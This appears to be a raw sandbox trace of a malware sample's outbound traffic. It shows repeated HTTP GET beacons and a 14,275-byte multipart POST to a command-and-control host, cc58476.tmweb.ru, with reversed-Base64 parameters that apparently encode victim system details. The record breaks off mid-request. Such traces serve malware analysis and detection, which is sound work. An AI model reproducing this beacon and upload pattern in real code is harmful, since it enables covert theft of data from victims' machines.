 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=gLu4ycll2av92Ygcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 709
1 709 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=u4iLzRmcvd3czFGcgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 711
1 711 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLuMXby9mZgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 706
1 706 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLuM0Qgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 702
1 702 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu0WYlR3Ugcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 706
1 706 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 2012
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu0WYydWZsVGVgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 710
1 710 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=%00&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=wMlNGZzYGN1MDZ3ADNiNzNyEDMhNjMyIzMhRmZzUTYiZGN2QWM2MDM HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 2012
sent: 686
1 686 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4iLu42bpRXYtJ3bm5WagIXZoR3bgcmbph2Y0VmR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 722
1 722 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&9129bbb54cb047fc5dc4e0a1fc985fcd=9JCewRGXcRjNX90Vzl3Ucx1c39GZul2VcxlODJiOigGdhBlIsISNuQjI6Iibvl2cyVmVrJ3b3VWbhJnRiwiIud3butmbVJiOigGdhBVbhJ3ZlxWZUJCLiIiOiMHcwFUbhVGdTJCLi42dv52auVlI6ICRJJXZzVVbhVGdTJCLi42dv52auVlI6IiclNXVtFWZ0NlIsIib39mbr5WViojIn5WYM1WYlR3UiwiIud3butmbVJiOigGdhBVbhVGdTJCLi4GXyxVKYmL7l6J7g8WakVXQg42bpRXaulmZlREIodWaIhCrB2OtdyOinuuI6Iycl52boB3byNWaNJCLi4GXyxVMZFETQNVSExFXuwFXcxlI6IycuVWZyN2UiwiIiojIz1WYjJWZXJCL5ETM1ojINFkUiwiIw42bpRXYy9Gcy92QgUGbjFmcPJiOiQmch9mYyVGa09WTiwiIB9CXOJiOiwGbhdXZylmRiwiIB9CXOJiOiMXdylmdpRnbBJCLi0iI6ICUJ5UQMJCLigkYtdEIrVGdv5mbpJiOiM1TJJkIsIieIdEM44iMgAEIVB1QgADM0gTL1kGIp0EVoUmcvNEIpIFKsVGdulkI6ISZtFmTVB1QiwiIwSY7Ry460aJ7g0Lltjpnrj7tqDSQHZFIASK7cGZ7iojIl1WYOVFUHJye&90ed6f3bf18be1c56b7fe2a2569f871c=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&395e0ea225aadd6bf0d2c91094e71c53=wMlNGZzYGN1MDZ3ADNiNzNyEDMhNjMyIzMhRmZzUTYiZGN2QWM2MDM HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 2012
sent: 1363
1 1363 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=4kzN0kjNy4SNwoDMwoDMwAiOl1Wa0BCZlNHchxWRgESZu9GR&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 731
1 731 0

send

 buffer: POST /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ HTTP/1.1 Content-Type: multipart/form-data; boundary=----------47b4076846454f0792c535907f9f25e6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246 Host: cc58476.tmweb.ru Content-Length: 14275 Expect: 100-continue
socket: 1188
sent: 575
1 575 0

send

 buffer:
socket: 1188
sent: 14275
1 14275 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 2012
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=QM&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gMmRTOxQTNjRDZ3YWNkZmM2Y2NkZ2MyEWM1MWNzQDN3AjNkFTN4gDO HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 685
1 685 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 1453
1 1453 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&1527e96e778981f3166c4de9ee18b563=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&b9a703661957fd9398026d0825d1bb0e=wYhRjY4cjZ0M2M0IGO2EGMycTN1QDMiVWZiNDZ1YzMlV2N0U2N0MjZ&395456b66fc45ba775af61ef30811cd1=QfiIXZnFmbh1EItFmcn9mcQJiOic3bk5WaXR1QBJCLiklI6Iibp1GZBNXaiwiIOJiOi0WYjJWZXNXaiwiIZJiOiUmbvhGcvJ3Yp10cpJCLiQFUJJ1QgcVROByUEFkI6IyRBRlIsICdpJEI0YDIOtEIsFmbvl2czVmZvJHUgcDIzd3bk5WaXJiOiIXZW5WaXJCL9JCa0VXYn5WazNXat9CXvlmLvZmbpBXavw1LcpzcwRHdoJiOiUWbkFWZyJCLiwWdvV2UvwVYpNXQiojIl52b6VWbpRnIsIiN4EzMwIiOiwWY0N3bwJCLi02bjVGblRFIhVmcvtEI2YzN0MVQiojInJ3biwiI0gzN54iNyEDLwYjN14yNzIiOiM2bsJCLiI1SiojI5JHduV3bjJCLiwWdvV2UiojIu9WanVmciwiIsV3blNlI6ISe0l2YiwiIwUTMuQzMx4COwIjL1cTMiojIwlmI7pjIvZmbJBXSiwiIyIDdzVGdiojIl1WYOJXZzVlIsIyQQ1iMyQ1UFRlI6ISZtFmTDBlIsICNuAjL0IiOiIXZWJXZ2JXZTJCLiMyQiojIlBXeUJXZ2JXZTJye&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gNwIGZyEWYhNGNyQzYkFjZkBzN1MjZjljMxITNkRmNhFjN5UWYhNjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 